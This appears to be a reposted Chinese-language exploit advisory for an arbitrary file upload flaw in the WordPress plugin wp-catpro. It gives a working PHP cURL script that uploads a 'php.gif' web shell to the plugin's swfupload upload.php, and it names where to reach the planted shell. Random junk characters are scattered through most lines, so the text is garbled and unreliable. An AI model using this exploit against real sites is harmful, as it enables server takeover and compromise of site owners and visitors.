WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
* X% O4 V( q$ o/ c, c" ?#-----------------------------------------------------------------------
  `$ c2 C4 y; U
作者  => Zikou-16
邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
8 d7 U, q  Q$ ]4 {下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####

#=> Exploit 信息:
- z1 [) N+ U( w4 [1 n9 P------------------
# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
, ~- `/ n. z- _4 ^- [0 o# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
------------------
9 C# {! m) u7 B4 l
#=> Exploit
- O) Q- x# Q* i4 ^3 T-----------
<?php
7 \5 ?) o, n# G" m! g' ?3 O
$uploadfile="zik.php.gif";
4 O! @7 j7 u1 L: O$ I$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
: m; W; t% L9 Q$ N, r+ [( Qcurl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
5 B) y" \& S% j) F/ `& k'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
; P# F: c. j) z% W4 [$ P! \, P$postResult = curl_exec($ch);
, \" b& h6 e* e/ L5 Ucurl_close($ch);
0 n" c+ O9 T) K' t3 c9 u2 G+ O
print "$postResult";
3 H. I& V+ i1 \6 s- b
. Q; @, E+ @4 V0 N8 X& W% S" w: ~Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
<?php
phpinfo();
?>